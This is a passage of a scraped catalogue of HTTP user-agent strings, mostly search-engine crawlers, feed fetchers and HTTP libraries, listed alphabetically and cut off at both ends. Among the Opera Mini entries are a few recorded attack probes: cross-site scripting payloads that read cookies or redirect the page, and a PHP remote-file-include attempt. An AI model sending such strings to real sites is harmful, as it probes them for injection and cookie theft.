http://www.zoominfo.com/NextGenSearchBot) NextopiaBOT (+http://www.nextopia.com) distributed crawler client beta v1.1 NG/2.0 NGB/3.0 NGB/3.0 Novarra-Vision/7.3 NGB\/3.0 nicebot NicheSpider/1.0 (+http://www.freebieads.co.uk) NIEK/0.1alpha FirePHP/0.4 ninetowns Ninja Xplore (Unknown OS) Nintendo64/1.0 (SuperMarioOS with Cray-II Y-MP Emulation) Nitroglobal Anonymous Proxy NoBot/0.0 (I'm not a bug, I'm a feature) NoggaNogga (resilient; doublebind-resistant; nice guy) Nokia N90/2.0 (+ www.googlebot.com/bot.html; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2) Nokia2610/R2AA/Mozilla/5.0 (compatible; SnapPreviewBot; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Nokia3100/1.0 (compatible; WukongBot) Nokia5130c-2/2.0 (07.95) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 (iPhone; U; CPU iPhone 0S 3.0 like Mac 0S X... Nokia6230/2.0 (05.50) Profile/MIDP-2.0 Configuration/CLDC-1.1 (compatible; dotmobibot/1.0; +http://www.dotmobi.mobi) Nokia6300/2.0 (05.50) Profile/MIDP-2.0 Configuration/CLDC-1.1 (botmobi find.mobi/bot.html abuse@mtld.mobi) Nokia6300/2.0 (05.50) Profile/MIDP-2.0 Configuration/CLDC-1.1 (botmobi find.mobi/bot.html find@mtld.mobi) Nokia6300/2.0 (05.50) Profile/MIDP-2.0 Configuration/CLDC-1.1 (botmobi http://find.mobi/bot.html abuse@mtld.mobi) Nokia6610/1.0 (3.09) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible;YahooSeeker/M1A1-R2D2; http://help.yahoo.com/he... Nokia6680/1.0 ((4.04.07) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1 (botmobi find.mobi/bot.html ... Nokia6680/1.0 ((4.04.07) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1 (for mobile crawler) ) Nokia6680/1.0 (4.04.07) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1 (botmobi find.mobi/bot.html f... Nokia6681/1.0 (2.30.0) Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1 (compatible; baiduspider; +http://www.baidu.... Nokia6682/2.0 (3.01.1) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.0 (compatible... Nokia6682/2.0 (3.01.1) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.0 (compatible;... Nokia6820/2.0 (4.83) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible; Googlebot-Mobile/2.1; Nokia6820/2.0 (4.83) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/b... Nokia6820/2.0 (4.83) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible; Mediapartners-Google/2.1; +http://www.google.c... Nokia6822a/2.0 (4.88) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible; Googlebot-Mobile/2.6a; +http://www.google.com... NokiaN70/. FASTMobileCrawl/6.6 Profile/MIDP-2.0 Configuration/CLDC-1.1 noobot Spider/Noobot-1.2 (noobot crawler; http://www.noobot.fr) noopsis Spider/Nutch-1.1 (noopsis crawler) NoteworthyBot/0.1 notie Notifixious/LinkChecker (http://notifixio.us) noxtrumbot/1.0 (crawler@noxtrum.com) Noydb/7.04 (Win76; U; SA) NPBot/3 (NPBot; http://www.nameprotect.com; npbot@nameprotect.com) nrsbot/5.0(loopimprovements.com/robot.html) nrsbot/5.0(loopip.com/robot.html) nrsbot/5.02 nrsbot/6.0(loopip.com/robot.html) NSO_Debugger/2.0 NSplayer/11.0.5721.5145 NSPlayer/11.0.5721.5251 WMFSDK/11.0 nsyght.com/Nutch-0.9 (nsyght.com; Nsyght.com) nsyght.com/Nutch-0.9 (nsyght.com; search.nsyght.com) nsyght.com/Nutch-1.0-dev (nsyght.com; Nsyght.com) nu_tch-princeton/Nu_tch-1.0-dev (princeton crawler for cass project; http://www.cs.princeton.edu/cass/; zhewang a_t cs d... NUCLEARFOX/3.7(TREX; U; en-US;) Nudelbot 0.8 Beta (+http://www.nudelbot.com/bot.html) Nuhk/2.4 (+http://www.neti.ee/cgi-bin/abi/Otsing/Nuhk/) NULL-- FirePHP/0.4 NuSearch Spider (compatible; MSIE 6.0) Nusearch Spider (www.nusearch.com) Nutch 1.2/Nutch-1.2 (Facet Engine Nutch Crawler; spider@facetengine.com) Nutch agent name/Nutch-1.0 (Nutch agent description; http:// MyAgent.googlepages.com ; MyEmail) nutch test/Nutch-1.0 (nutch test) nutch-crawl/Nutch-1.0-dev (imcs; http://imcs.ro; admin@imcs.ro) nutch-crawler/Nutch-1.2 nutch-solr-integration-test/Nutch-1.2 (MoonValley Web Crawler using Nutch 1.2; http://www.moonvalley.com/; cwoolum@moonv... nutch-solr-integration/1.1 nutch-solr-integration/Nutch-1.0 nutch-solr/Nutch-1.0-dev nutch.biz/Nutch-1.0 (nutch.biz; crawler@nutch.biz) nutch.us/Nutch-1.0 (nutch.us; crawler@nutch.us) nutch.us/Nutch-1.0 (www.nutch.us; crawler@nutch.us) nutch.us/Nutch-1.0-dev (www.nutch.us; crawler@nutch.us) Nutch/1.2/Nutch-1.2 Nutch/Nutch-0.8.1 Nutch/Nutch-0.8.1 (Nutch; Nutch; Nutch) Nutch/Nutch-0.9 Nutch/Nutch-0.9 (Eurobot; http://www.ayell.eu ) nutch/Nutch-0.9 (nutch) Nutch/Nutch-0.9 (Nutch; http://lucene.apache.org/nutch/) Nutch/Nutch-0.9 (Nutch; http://nutch; nutch) Nutch/Nutch-1.0 (academic purpose; cats.kaist.ac.kr; smiler82@naver.com) nutch/Nutch-1.0 (nutch) Nutch/Nutch-1.0-dev (A Nutch-based crawler.; http://lucene.apache.org/nutch/bot.html; nutch-agent AT lucene.apache.org) nutch/Nutch-1.0-dev (nutch) nutch_princeton/Nutch-1.0-dev (princeton crawler for cass project; http://www.cs.princeton.edu/cass/; zhewang a_t cs ddo... nutch_test/Nutch-0.9 (nutch_test; http://www.8dorm.com; webmaster@8dorm.com) Nutch0.8/Nutch-0.9-dev nutch0.9/Nutch-0.9-dev NUTCHCRAWLER/Nutch-0.9 (anouar@yatinoo.com) NutchCVS/0.06-dev (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu) NutchCVS/0.06-dev (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@lists.sourceforge.net) NutchCVS/0.7 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) NutchCVS/0.7.1 (Nutch running at UW; http://crawlers.cs.washington.edu/; sycrawl@cs.washington.edu) NutchCVS/0.7.1 (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu) NutchCVS/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) NutchCVS/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; raphael@unterreuth.de) NutchCVS/0.7.2 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) NutchCVS/0.7.2 (Nutch; http://lucene.apache.org/nutch/bot.html; west@cis.poly.edu) NutchCVS/0.8-dev (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu) NutchCVS/0.8-dev (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) NutchCVS/0.8.1 (http://cis.poly.edu/westlab/; west@poly.edu) nutchCVS/Nutch-0.8.1 (nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) NutchCVS/Nutch-1.0 (http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) NutchEC2Test/Nutch-0.9-dev (Testing Nutch on Amazon EC2.; http://lucene.apache.org/nutch/bot.html; ec2test at lucene.com... nutchsearch/Nutch-0.9 (Nutch Search 1.0; herceg_novi at yahoo dot com) NutchTest/Nutch-1.0 nutchwax.com/Nutch-1.0 (nutchwax.com; crawler@nutchwax.com) Nutexplore/5.0 (ZIOIS;Fast) Nutscrape 1.0, Commodore 64 Nutscrape/0.9 (CP/M; 7-bit) Nutscrape/1.0 (Commodore Vic20; 8-bit) Nutscrape/1.0 (CP/M; 8-bit) Nutscrape/1.0 (CP/M; 8-bit) (en; EN) Gecko/20090216 Nutscrape/1.0 (OS/400; 8-bit) NWBSpider/Nutch-2.0-dev NWSpider 0.9 nyobot/1.1 (Noyb.com search engine crawler; http://www.noyb.com; bot@noyb.com) nYOoY_urlbot/1.0 (+http://nyooy.com/urlbot/) O'Reilly Link Checker (links from our published works) ObjectsSearch/0.01 (ObjectsSearch; http://www.ObjectsSearch.com/bot.html; support@thesoftwareobjects.com; yplus 5.1.02b) ObjectsSearch/0.0x (ObjectsSearch; http://www.ObjectsSearch.com/bot.html; support@thesoftwareobjects.com) oBot Occupied.de Bot OCP HRS 1.0 oegp v. 1.3.0 Offline Explorer 1.* Offline Explorer Enterprise/4.4 Offline Explorer/5.5 OfflinePages/1.3.1 CFNetwork/485.12.7 Darwin/10.4.0 ofobot olkin/0.2 (+http://bot.macrothela.net/) omgilibot/0.3 +http://www.omgili.com/Crawler.html Omnia omniexplorer [bot] OmniExplorer_Bot FirePHP/0.2.4 OmniExplorer_Bot/1.07 (+http://www.omni-explorer.com) Internet Categorizer OmniExplorer_Bot/1.09 (+http://www.omni-explorer.com) OmniExplorer_Bot/1.09 (+http://www.omni-explorer.com) Cars Crawler OmniExplorer_Bot/1.09 (+http://www.omni-explorer.com) Internet Indexer OmniExplorer_Bot/1.0x ( http://www.omni-explorer.com) Job Crawler OmniExplorer_Bot/1.10 (+http://www.omni-explorer.com) OmniExplorer_Bot/1.10 (+http://www.omni-explorer.com) Jobs Crawler OmniExplorer_Bot/2.47 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/2.93 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/3.06c (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/3.06d (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/3.10 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/3.10a (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/3.11a (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/3.11c (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/3.20b (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/3.21 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/3.23 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/3.24 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/3.26b (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/3.26c (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/3.28 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/3.94b (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/3.95 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/3.98b (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/3.99 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/4.32 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/5.25 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/5.73 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/5.77e (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/6.10.0 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/6.10.13 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/6.10.15 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/6.10.17 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/6.10.7 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/6.10.9 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/6.70 (+http://www.omni-explorer.com) WorldIndexer OmniExplWgetorer_Bot OmniWeb OmniWeb/2.7-beta-3 OWF/1.0 Omri David onCHECK-Robot, www.onsearch.de Onetime ShopFinder Program OneWorldSearch/1.00.143;MSSQL (http://www.oneworldsearch.com/) OnlineWebCheck.com (http://onlinewebcheck.com) OOZBOT OOZBOT/0.17 (--; http://www.setooz.com/oozbot.html#; agentname at setooz dot_com) OOZBOT/0.17 (--; http://www.setooz.com/oozbot.html; agentname at oozbot dot_com) OOZBOT/0.17 (--; http://www.setooz.com/oozbot.html; agentname at setooz dot_com) OOZBOT/0.17 (--; http://www.setooz.com/oozbot.html; pvvpr at iiit dot ac dot in) OOZBOT/0.20 ( -- ; http://www.setooz.com/oozbot.html ; agentname at setooz dot_com ) OOZBOT/0.20 ( http://www.setooz.com/oozbot.html ; agentname at setooz dot_com ) OOZBOT/0.20 (--; http://www.setooz.com/oozbot.html; agentname at setooz dot_com) Open Ware (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;... Open Web Analytics Bot 1.3.1 OpenAcoon v4.0.3 (www.openacoon.de) OpenAcoon v4.0.5 (www.openacoon.de) OpenAcoon v4.1.0 (www.openacoon.de) OpenAnything/1.6 +http://diveintopython.org/http_web_services/ OpenCalaisSemanticProxy Opendium spider OpenIntelligenceData/1.1 (+http://www.worldwideweb-x.com/openData.html) OpenISearch/1.2.1 (+http://www.openisearch.com/faq.html) OpenISearch/1.3.1 (+http://www.openisearch.com/faq.html) OpenPlaces/Nutch-1.0-dev (OpenPlaces Content Crawler; http://www.openplaces.com; dnadeau 64th-ascii-char openplaces c o ... Openstat/0.1 OpenWebSpider# v0.1a (http://www.openwebspider.org/) Opera larbin2.6.3@unspecified.mail Opera/10.00 (Windows NT 5.1; U; Googlebot/2.1 (+http://www.google.com/bot.html); ru) Presto/2.2.0 Opera/8.01 (J2ME/MIDP; Opera Mini/"><script>alert(document.cookie)</1724; id; U; ss... Opera/8.01 (J2ME/MIDP; Opera Mini/<script>alert('kuda-liar');</1724; id; U; ssr) Opera/8.01 (J2ME/MIDP; Opera Mini/<script>location.href='http:/1724; id; U; ssr) Opera/8.01 (J2ME/MIDP; Opera Mini/66.249.64.13 - crawl-66-249-64-13.googlebot.com/1724; id; U; ssr) Opera/8.01 (J2ME/MIDP; Opera Mini/crawl-66-249-66-1.googlebot.com/1724; id; U; ssr) Opera/9.52 (Windows NT 6.0; U; GoogleBot, MSNBot, Slurp, http://lucideer.com; en-GB) Opera/9.52 (Windows NT 6.0; U; GoogleBot, MSNBot, Slurp, Http://lucideer.com; en-GB) (compatible; MSIE 6.0; Windows CE; ... Opera/9.80 (J2ME/MIDP; Opera Mini/2.1 ">'><script><?php include('http:/22.41... Opera/9.80 (J2ME/MIDP; Opera Mini/2.1 (compatible; MSIE 4.01; Windows CE; Smartphone; 320x240;) MSNBOT-MOBILE/22.414; U;... Opera/9.80 (J2ME/MIDP; Opera Mini/4.0 (compatible; MSIE 8.0; Windows NT 5.1; WOW64; <script>alert(&quo... Opera/9.80 (J2ME/MIDP; Opera Mini/4.0 (universal-apple-darwin10.0) libcurl/23.411; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.0 <a href=http:/22.414; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.0 AntiOpensourceBot/23.405; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2 !?aTRASH proxyDIRECT - (sjc0.tdmsic.org - Red Hat); Alawar 2.08; Linux x86_64; N; ... Opera/9.80 (J2ME/MIDP; Opera Mini/4.2 !?aTRASH proxyDIRECT - (sjc0.tdmsic.org - Red Hat); Linux x86_64; N; Android; N; e... Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410 (compatible; msnbot-Products/856; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410; Android; Googlebot; AppleWebKit; msnbot/22.414; U; en) Presto/2.5.25 Versio... Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410; Android; Googlebot; AppleWebKit; msnbot; BlackBerry/22.414; U; en) Presto/2... Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410; Android; Googlebot; AppleWebKit; msnbot; BlackBerry; facebookexternalhit/22... Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410; Android; Googlebot; AppleWebKit; msnbot; BlackBerry; facebookexternalhit/22... Opera/9.80 (J2ME/MIDP; Opera Mini/4.6 (Linux x86_64; Android; N; en-US) (Version: 1.02, powered by www.123spider.de/22.4... Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (compatible; aiHitBot/886; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (compatible; facebook bot) Mozilla/20.2463; U; en) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (compatible; Yahoo! Slurp; http:/20.2463; U; en) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (compatible; Yahoo! Slurp; http:/886; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Linux; U; Android 2.2; en-us; compatible; Googlebot/23.405; U; en) Presto/2.5.25 ... Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Mozilla; 5.0; compatible; (ABACHOBot; Arachmo; BlitzBot; FDSE robot) MSIE 8.0; U;... Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.10; Yahoobot; +http:/886; U; en) Presto/... Opera/9.80 (J2ME/MIDP; Opera Mini/5.0; GoogleBot; FAST Crawler 6.4; http:/22.401; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/7.10.6 (i386-redhat-linux-gnu) libcurl/21.572; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/93.6 (+NExTliFE(A.K.A Gord Hacks) Updates Come Usual, HACK BOT DoSING SITE!); Opera/9.80 (J2ME/MIDP; Opera Mini/Mozilla5.0-by_bugis_gaul curl/19.916; U; ms) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/Nutch-0.9 (crawl for fun; www.zipfelchappe.com; zipfelchappe@localhost)/19.916; U; en)... Opera/9.80 (J2ME/MIDP; Opera Mini/Nutch-0.9 (crawl for fun; www.zipfelchappe.com; zipfelchappe@localhost)/20.2463; U; en... Opera/9.80 (J2ME/MIDP; Opera Mini/Nutch-1.0 (Test crawl; lucene.apache.org/20.2477; U; en) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/Nutch-1.0- dev (Crawler for Balihoo.com search engine - obeys robots.txt and robots me... Opera/9.80 (J2ME/MIDP; Opera Mini/Nutch-1.0-dev (Sapphire Web Crawler using Nutch; http:/18.684; U; en) Presto/2.4.15 Opera/9.80 (Windows NT 5.1; U; Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html); ru) Presto/2.5.... Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.2.15 Version/10.00 AppEngine-Google; (+http://code.google.com/appengine; ... Opera/9.80 (Windows NT 5.2; U; Googlebot/2.1 (+http://www.googlebot.com/bot.html); cs) Presto/2.2.15 Version/10.01 Opera/9.80 (Windows NT 6.1; U; en) Presto/2.5.24 Version/10.52 AppEngine-Google; (+http://code.google.com/appengine; app... Oracle Ultra Search OrangeAskBot/2.0; +http://www.orangeask.com Orbiter (+http://www.dailyorbit.com/bot.htm) Orbiter/T-2.0 (+http://www.dailyorbit.com/bot.htm) Orbserver.com crawler (www.orbserver.com/botsvsbrowsers.com) Orgbybot/OrgbyBot v1.2 (Spidering the net for Orgby; http://www.orgby.com/ ; Orgby.com Search Engine) Orgbybot/OrgbyBot v1.3 (Spider; http://orgby.com/bot/ ; Orgby.com Search Engine) OSSProxy 1.3.323.338 (Build 323.338 Win32 en-us)(May 21 2009 16:41:26) OSSProxy 1.3.324.349 (Build 324.349 Win32 en-us)(Sep 18 2009 09:49:46) OSSProxy 1.3.325.351 (Build 325.351 Win32 en-us)(Dec 21 2009 17:36:40) OSSProxy 1.3.325.362 (Build 325.362 Win32 en-us)(Jan 29 2010 14:15:34) OSSProxy 1.3.326.329 (Build 326.329 Win32 en-us)(Apr 15 2010 15:40:21) OutfoxBot/0.3 (For internet experiments; http://; outfox.agent@gmail.com) OutfoxBot/0.5 (for internet experiments; http://; outfoxbot@gmail.com) ovale_total/0.1 Overseer! owsBot/0.2 (owsBot; www.oneworldstreet.com; owsBot) ozelot/2.7.3 (Search engine indexer; www.flying-cat.de/ozelot; ozelot@flying-cat.de) ozilla/5.0 (Linux; U; Android 1.5; fr-; HTC Hero Build/CRB43) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobil... ozzie (question ozzie@cs.stanford.edu) P3P Client page_prefetcher page_test larbin2.6.3@unspecified.mail page_verifier (http://www.securecomputing.com/goto/pv) page_verifier http://www.securecomputing.com/goto/pv page_viewer larbin2.6.3@unspecified.mail page_viewer1 larbin2.6.3@unspecified.mail PageBitesHyperBot/600 (http://www.pagebites.com/) Pagebull http://www.pagebull.com/ Pagebull http://www.pagebull.com/ PageNest Free Edition/3.10 PageNest Free Edition/3.11 PageNest Free Edition/3.26 Paleoweb.org Friendly Bot ;-)/1 panelbot pangolin/0.1 panscient.com Pantau AutoPager/0.5.2.2 (http://www.teesoft.info/) Parthenopaios/1.0 (Adrastos) Particls Particls/1.0 (compatible; .NET CLR 2.0.50727; http://www.particls.com) Path 2/LX darxi.com Path2/LX darxi.com Pathtraq (+http://pathtraq.com/) Pathtraq/0.1 (+http://pathtraq.com/) Pathtraq/0.1 Gungho/0.08004 Pathtraq/0.1 Gungho/0.09005 Pathtraq/0.1 Gungho/0.09007 Pathtraq/0.1 Gungho/0.09008 PayPal Web Hosting, Scripts N Tools PayPal Website Payment Pro, Scripts N Tools Paypal.com(+http://search.FBI.com/msnbot.htm) PBBRBOT PCbot/3.0 PDFBot crawler@pdfind.com PEAR HTTP_Request class ( http://pear.php.net/ ) PECL::HTTP/1.6.0 (PHP/5.1.2) PECL::HTTP/1.6.1-dev (PHP/5.2.6) PediaSearch.com Crawler PeerFactor 404 crawler Pehdens Spyder (http://pehden.net/spyder) PenTest.sg/Nutch-1.1 (www.PenTest.sg; crawler@PenTest.sg) Perl Crawler Robot v0.1 Perl interface for libCURL Perl-Win32::Internet/0.082 permail/H Perso/12.0 (OSP; F; Perso; fr; rv:1.5.1.3) Dev/542354 Lapin/0.2.5 () Pete-Spider Light/1.0 Pete-Spider Light/1.2 Pete-Spider/1.1 Peter Wang/Nutch-0.9 (Nutch spiderman; http://peterpuwang.googlepages.com ; MyEmail) PHarvester/0.2 (SC) PHP Script PHP version tracker (http://www.nexen.net/phpversion/bot.php) PHP-4.x PHP/4.1.2 PHP/5.2.10 PHP/5.2.11 PHP/5.2.12 PHP/5.2.13 PHP/5.2.14 PHP/5.2.17 PHP/5.2.3 PHP/5.2.5 PHP/5.2.6 PHP/5.2.8 PHP/5.2.9 PHP/5.3.1 PHP/5.3.2 PHP/5.3.3 PHP/5.3.4 PHP_inetmap.net PHPCrawl PhpDelicious v1.5 (http://www.ejeliot.com/pages/php-delicious) PhpDig/1.8.8 (+http://www.phpdig.net/robot.php) phpscript Picsel/1.0 (Windows NT 5.1; U) PicselSpider/1.0 PigFear/0.3.1 PigFear/0.3.2 PikaWeb-1.337 \\|\|//(o^.^o)\\\|\|/ ping.blo.gs/2.0 Pingdom GIGRIB (http://www.pingdom.com) Pingdom GIGRIB v1.1 (http://www.pingdom.com) Pingdom.com_bot_version_1.4_(http://www.pingdom.com/) Pingdom/2.3.4 pipBot pipeLiner/0.12 (PipeLine Spider; http://www.pipeline-search.com/webmaster.html) PiplBot Pizilla++ ver 2.45 PKU Student Spider Plagger/0.7.17 (http://plagger.org/) plaNETWORK Bot Search PlantyNet_WebRobot_V1.9 dhkang@plantynet.com Plonebot/0.1 Pluggd/Nutch-0.9 (Pluggd automated crawler; http://www.pluggd.com; support at pluggd dot com) Pockey/4.10.2(Win32; GUI; ix86) POE-Component-Client-HTTP/0.85 (perl; N; POE; en; rv:0.850000) POE-Component-Client-HTTP/0.85 (perl; N; POE; en; rv:0.850000) POE-Component-Client-HTTP/0.88 (perl; N; POE; en; rv:0.880000) POE-Component-Client-HTTP/0.895 (perl; N; POE; en; rv:0.895000) polybot 1.0 (http://cis.poly.edu/polybot/) Pompos/1.3 http://dir.com/pompos.html porn_viewer larbin2.6.3@unspecified.mail Port Huron Labs portalmmm/1.0 M222i portalmmm/2.0 S501i PostPost/1.0 (+http://postpo.st/crawlers) PostRank 2.0 (postrank.com) PostRank/2.0 (postrank.com) PostRank/2.0 (postrank.com; 1 subscribers) PR Crawler/Nutch-1.0 (data mining develpment project; crawler@projectrialto.com) Pr0nBot/0.1-rc1/http://www.sexyrails.com/robot PRCrawler/Nutch-0.9 (data mining development project) PRCrawler/Nutch-0.9 (data mining development project; crawler@projectrialto.com) PrivacyFinder Cache Bot v1.0 PrivacyFinder/0.01 libwww-perl/5.833 Privoxy 3.0.12 Privoxy 3.0.16 Privoxy 3.0.6 Privoxy 3.06 Privoxy/1.0 Program Shareware 1.0.0 Prologue/0.1.8.72 (compatible) filecache PROXY crawler (+http://www.globalvisioncommunication.com/) Proxy leecher ProxyTestAuth prppsoft_research_center (compatible; kurumin/7.0-prppsoft-heritrix/1.12.1; Debian Etch +http://crawler.prppsoft.uni.cc) prppsoft_research_center (compatible; ubuntujaunty-prppsoft-heritrix/1.12.1; Debian Etch +http://crawler.prppsoft.uni.cc... psbot/0.1 psbot/0.1 (+http://www.picsearch.com/bot.html) psbot/0.X (+http://www.picsearch.com/bot.html) psycheclone pt_viewer_com_page larbin2.6.3@unspecified.mail pt_viewer_web larbin2.6.3@unspecified.mail puf/0.93.2a (Linux 2.6.15-26-server; i686) puf/1.0.0 (Linux 2.6.18-6-686; i686) puf/1.0.0 (Linux 2.6.18-6-686; i686) pulseBot (pulse Web Miner) PycURL PycURL/7.15.0 PycURL/7.15.5 PycURL/7.16.4 PycURL/7.18.0 PycURL/7.18.2 PycURL/7.19.0 PycURL/7.19.2 PycURL/7.19.4 PycURL/7.19.5 PycURL/7.19.7 PycURL/7.20.0 PycURL/7.21.0 PyQuery / 0.1 Python-httplib2/$Rev$ Python-httplib2/$Rev: 235 $ Python-urllib/1.10 Python-urllib/1.15 Python-urllib/1.16 Python-urllib/1.17 Python-urllib/1.17 AppEngine-Google; (+http://code.google.com/appengine) Python-urllib/1.17 AppEngine-Google; (+http://code.google.com/appengine; appid: therealurl) Python-urllib/2.1 Python-urllib/2.4 Python-urllib/2.5 Python-urllib/2.6 Python-urllib/2.7 Python-urllib/3.0 Python-urllib/3.1 pythonic-crawler (suzuki@tkl.iis.u-tokyo.ac.jp) QEAVis agent QEAVis agent/Nutch-0.9 (http://nlp.uned.es/qeavis/) Qirina Hurdler v. 1.02 10.10.01 (+http://www.qirina.com/hurdler.html) Qirina Hurdler v. 1.05 10.11.01 (+http://www.qirina.com/hurdler.html) Qlue Broken Link Checker QroboDomainBot QunarBot/1.0 R0ot DB.SDK~Spy (Kenobiexpress Engine v0.1) R6_FeedFetcher(www.radian6.com/crawler) RacaiCrawler/RacaiCrawler-0.2 radian6_default_(www.radian6.com/crawler) radian6_linkcheck_(www.radian6.com/crawler) RAMPyBot - www.giveRAMP.com/0.1 (RAMPyBot - www.giveRAMP.com; http://www.giveramp.com/bot.html; support@giveRAMP.com) Rankivabot/3.2 (www.rankiva.com; 3.2; vzmxikn) rassler/0.10 (+http://bot.macrothela.net) rassler/0.11 (+http://bot.macrothela.net) rassler/0.12 (+http://bot.macrothela.net) rassler/0.13 ( http://bot.macrothela.net) rassler/0.13 (+http://bot.macrothela.net) rassler/0.14 (+http://bot.macrothela.net) rassler/0.15 (+http://bot.macrothela.net) rassler/0.16 (+http://bot.macrothela.net) rassler/0.17 (+http://bot.macrothela.net) rassler/0.18 (+http://bot.macrothela.net) rassler/0.19 (+http://bot.macrothela.net) rassler/0.20 (+http://bot.macrothela.net) rassler/0.21 (+http://bot.macrothela.net) rassler/0.22 (+http://bot.macrothela.net) rassler/0.23 (+http://bot.macrothela.net) rassler/0.24 (+http://bot.macrothela.net) rassler/0.25 (+http://bot.macrothela.net) rassler/0.26 (+http://bot.macrothela.net) rassler/0.27 (+http://bot.macrothela.net) rassler/0.27 (+http://macrothela.mediamonitor.pt) rassler/0.28 (+http://macrothela.mediamonitor.pt) rassler/0.4 (+http://bot.macrothela.net/) rassler/0.5 (+http://bot.macrothela.net/) rassler/0.6 (+http://bot.macrothela.net) rassler/0.7 (+http://bot.macrothela.net) rassler/0.8 (+http://bot.macrothela.net) rassler/0.9 (+http://bot.macrothela.net) Raymond Balm�s/Nutch-1.0 (spiderman; http://www.balmes.com ; raymond.balmes@gmail.com) razorbak rbot http util 0.9.11-rc2 (master branch, revision c9bd2bc, local changes) (http://ruby-rbot.org) rbot http util 0.9.15-git (http://ruby-rbot.org) rdfbot/1.0 ( Indian Language Web Search Engine ; Rediff.com ; rdfbotsupport AT rediffmailpro DOT com ) rdfbot/1.0 (Indian Language Web Search Engine; Rediff.com; 